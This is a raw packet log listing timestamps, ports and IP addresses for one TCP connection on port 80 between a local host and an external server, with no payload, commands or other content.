Dec 27, 2024 15:05:50.937638044 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.939112902 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.939244032 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.940288067 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.941061020 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.941113949 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.942964077 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.943017960 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.943058014 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.943099976 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.944942951 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.944978952 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.945029020 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.946868896 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.947016954 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.947174072 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.948796988 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.948915958 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.948997974 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.950752020 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.950850010 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.950910091 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.952675104 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.952759981 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.952809095 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.954627991 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.954726934 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.956537008 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.956552982 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.956665039 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.958518028 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.958616972 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.958692074 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.958744049 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.960467100 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.960576057 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.960632086 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.962395906 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.962507010 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.964023113 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.964337111 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.964457989 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.966309071 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.966366053 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.966396093 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.966434002 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.968233109 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.968327999 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.968385935 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.970169067 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.970268965 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.972136021 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.972208977 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.972218037 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.972248077 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.974081993 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.974196911 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.974291086 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.975996017 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.976036072 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.976176023 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.977936983 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.978010893 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.979880095 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.979937077 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.979990005 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.981870890 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.981930971 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.982014894 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.982062101 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.983736992 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.983854055 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.984029055 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.985697985 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.985752106 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.987663984 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.987715960 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.988101959 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.988152981 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.989583969 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.989687920 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.989741087 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.991599083 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.991662025 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.992665052 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.993486881 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.993580103 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.993623018 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.995496988 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.995897055 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.996155977 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.997420073 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.997525930 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.999574900 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.999588966 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.999620914 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.999658108 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.001291990 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.001394033 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.001446009 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.003236055 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.003328085 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.004394054 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.005198002 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.005266905 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.007091999 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.007112980 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.007143974 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.007170916 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.009073019 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.009113073 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.009166956 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.011025906 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.011136055 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.011971951 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.012931108 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.012979984 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.014914036 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.014961004 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.015034914 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.015072107 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.016917944 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.016938925 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.016985893 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.018785000 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.018881083 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.018939972 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.020698071 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.020762920 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.020967007 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.022646904 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.022830009 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.024280071 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.024604082 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.024743080 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.026480913 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.026544094 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.026609898 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.026652098 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.028477907 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.028538942 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.029268026 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.030544996 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.030658960 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.030709028 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.032197952 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.032289982 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.032341003 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.034125090 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.034277916 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.035968065 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.036040068 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.036114931 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.036160946 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.037625074 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.037723064 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.037920952 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.039531946 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.039608002 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.040545940 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.041253090 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.041369915 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.043124914 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.043179989 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.043190956 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.043231964 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.044926882 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.045032978 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.045090914 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.046732903 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.046833038 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.048512936 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.048567057 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.048610926 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.048651934 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.050322056 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.050440073 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.050496101 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.052197933 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.052273989 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.052325010 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.053946018 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.054064989 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.055782080 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.055830956 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.055882931 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.055919886 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.057598114 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.057682037 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.057972908 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.059511900 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.059578896 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.060015917 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.061233044 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.061315060 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.063057899 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.063112020 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.063148022 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.063189030 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.064907074 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.064937115 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.065959930 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.066731930 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.066797018 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.068571091 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.068619013 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.068640947 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.068680048 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.070266008 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.070374966 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.070429087 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.072088003 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.072150946 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.072200060 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.073884964 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.073992014 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.075742960 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.075795889 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.075921059 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.075963020 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.077495098 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.077589989 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.077975035 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.079327106 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.079428911 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.081078053 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.081171036 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.081260920 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.082962036 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.083014011 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.083096027 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.083134890 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.084772110 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.084886074 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.084939957 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.086591959 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.086704969 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.088375092 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.088426113 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.088495016 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.088537931 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.090234995 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.090317011 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.090377092 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.092004061 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.092127085 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.092967987 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.094096899 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.094175100 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.095645905 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.095705032 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.095746040 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.095784903 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.097446918 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.097543955 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.097600937 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.099286079 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.099366903 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.101095915 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.101147890 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.101186037 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.101226091 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.103106022 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.103319883 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.104763985 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.104816914 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.104880095 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.104921103 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.106508970 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.106626987 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.106683969 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.108298063 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.108345985 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.108397961 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.110119104 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.110213041 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.111937046 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.111990929 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.112040997 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.112082005 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.113802910 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.113950014 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.115622997 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.115670919 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.115688086 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.115730047 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.117388010 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.117475033 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.117535114 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.119294882 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.119307041 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.119378090 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.121107101 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.121191978 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.121268034 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.122925043 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.123155117 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.123199940 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.124639988 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.124737978 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.124784946 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.126455069 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.126533985 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.126579046 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.128304958 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.128421068 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.128467083 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.130064964 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.130173922 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.130223989 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.131990910 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.132029057 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.132075071 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.133677959 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.133811951 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.133857965 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.135489941 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.135612011 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.135658026 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.137487888 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.137645960 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.137691021 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.139211893 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.139373064 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.139476061 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.140957117 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.141069889 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.141115904 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.142785072 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.142889023 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.142951012 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.144567013 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.144674063 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.144720078 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.146375895 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.146518946 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.146575928 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.148226023 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.148360014 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.148406029 CET	49755	80	192.168.2.6	185.215.113.16
